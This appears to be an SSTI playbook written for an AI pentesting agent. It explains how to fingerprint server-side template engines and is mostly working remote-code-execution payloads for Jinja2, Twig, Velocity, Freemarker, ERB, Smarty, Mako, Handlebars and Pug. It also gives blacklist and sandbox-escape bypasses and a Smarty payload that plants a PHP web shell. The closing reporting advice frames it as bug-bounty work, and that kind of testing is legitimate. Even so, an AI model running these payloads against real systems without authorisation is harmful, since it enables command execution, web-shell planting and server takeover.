Ssti

SSTI playbook

You suspect user input is concatenated into a server-side template. The classic tell: {{7*7}} renders as 49 (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.

Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with http/curl.

1. Fingerprint the engine — fast

Use read_payloads(skill="ssti", file="fingerprint-polyglot.txt") for the canonical multi-engine probe:

${7*7}
{{7*7}}
<%= 7*7 %>
*{7*7}
{{7*'7'}}

Cross-reference results:

Distinguish Velocity from Freemarker: ${"foo".getClass()} returns class java.lang.String for both; Freemarker chokes on <#assign> outside a template block; Velocity specifically renders #set($x=7*7)$x as 49.

2. Engine-specific exploitation

Jinja2 (Python, Flask)

{{ ''.__class__.__mro__[1].__subclasses__() }}

Find an index where the subclass is <class 'subprocess.Popen'> (commonly 200–400). Then:

{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}

Bypass blacklists with attribute proxies:

{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}

Payloads: read_payloads(skill="ssti", file="jinja2.txt").

Twig (PHP, Symfony)

Twig blocks most function access. Two proven escapes:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['id']|filter('system')}}

Older versions: {{['id',1]|sort('passthru')}}.

Velocity (Java, NVelocity)

#set($e="exp")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("id")

Freemarker (Java)

Built-in ?eval, or the classic exec gadget:

<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}

ERB (Ruby)

<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>

Smarty (PHP)

{php}echo `id`;{/php}    {# pre-3.1.30 #}
{system('id')}           {# some forks #}

Newer Smarty: {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']);?>",self::clearConfig())}.

Mako (Python)

${self.module.cache.util.os.popen('id').read()}
<% import os; x=os.popen('id').read() %>${x}

Handlebars (Node)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.push "return require('child_process').execSync('id');"}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push (lookup conslist.0 "apply")}}
        {{this.apply 0 codelist}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Pug / Jade (Node)

#{ root.process.mainModule.require('child_process').execSync('id').toString() }

3. Sandbox escape thinking

If {{7*7}} works but exec is blocked:

• Try filter chains and pipes that hand off through string types (Twig).
• Try indirect-attribute access (['__class__'] instead of .__class__).
• Try Unicode escapes on the dangerous keyword ({{ ''.__class__ }}).
• Read the engine's source for the relevant version — most "sandboxes" have a documented escape.

4. Blind SSTI

If the rendered template never returns to you (sent in email, server-to-server message), confirm with side-channels:

• DNS callback via OS exec.
• HTTP callback to an out-of-band listener.
• Timing: render an expensive loop and measure response delay.

Reporting

For each finding include:

• The exact input field where the payload landed.
• The fingerprint output ({{7*7}} → 49 etc) — proves it's SSTI not arithmetic on the client.
• An exec PoC (id output preferred) OR, if RCE is gated, a clear sensitive-data read (env vars, config file).
• Engine + version inferred and from where.